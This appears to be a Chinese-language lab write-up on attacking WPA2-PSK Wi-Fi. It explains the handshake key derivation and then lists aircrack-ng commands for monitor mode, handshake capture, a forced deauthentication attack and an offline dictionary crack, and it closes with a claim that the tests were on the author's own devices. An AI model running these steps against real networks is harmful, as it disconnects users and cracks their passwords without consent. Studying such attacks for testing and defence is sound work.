原理
WPA2-PSK认证模式
如图,在WPA2-PSK认证过程的四次握手中,PTK的一部分用于生成MIC(Message
Integrity Check),而
\[ PTK = \text{PRF}(PMK + ANONCE + SNONCE +
MAC(AA) + MAC(SA)) \]
(PTK:Pairwise Transient
Key,PRF:Pseudorandom
Function,PMK:Pairwise Master
Key,Nonce:仅使用一次的随机数)
其中PMK由PSK派生,而
\[ PSK=\text{pdkdf2}(passphrase,SSID,SSID
\space length,4096) \]
(PSK:Pre-Shared
Key,pdkdf2:Passphrase-Based Key Derivation Function
2)
于是,如果我们监听到了握手包,则可以获取SSID、二者MAC、ANonce、SNonce、MIC,便可以将其用于验证猜测的密码(passphrase)是否正确,进行离线攻击。
取消认证攻击
1 | uint8_t deauthPacket[26] = { |
取消认证帧的结构如上,如果获取到了AP和客户端的信息,就可以伪造取消认证帧,进行取消认证攻击,令连接断开,然后在客户端尝试和AP重连时获取用于离线攻击的握手包。
aircrack-ng文档
相关命令的文档在:
airodump-ng
aireplay-ng
aircrack-ng
实验过程
安装aircrack-ng
1 | apt install aircrack-ng |
扫描AP
将网卡(interface)设置为monitor
模式: 1
2
3ip link set [interface name] down
iwconfig [interface name] mode monitor
ip link set [interface name] upiwconfig
确认相应网卡模式已经更改为monitor
。
然后扫描周围AP,可以在其中寻找目标: 1
airodump-ng [interface name]
ENC
是加密方式,CH
是信道(channel)。
监听握手包
1 | airodump-ng -write [pack name] -channel [channel] -bssid [AP bssid] [interface name] |
[pack name]
是输出握手包的文件名,建议专门弄个文件夹玩...
当出现提示handshake pack
即已获取到握手包。
取消认证攻击
但是,握手包不一定监听得到,可以进行取消认证攻击令客户端与AP重连:
1
aireplay-ng -deauth [count] -a [AP bssid] -c [client bssid] [interface name]
[count]
为攻击次数。
离线字典攻击
获取到握手包后,我们需要输出的.cap
文件,使用aircrack-ng
进行字典攻击:
1
aircrack-ng -w [wordlist] [pack name].cap
声明
实验均在本人设备上、对本人设备进行,未进行非法攻击。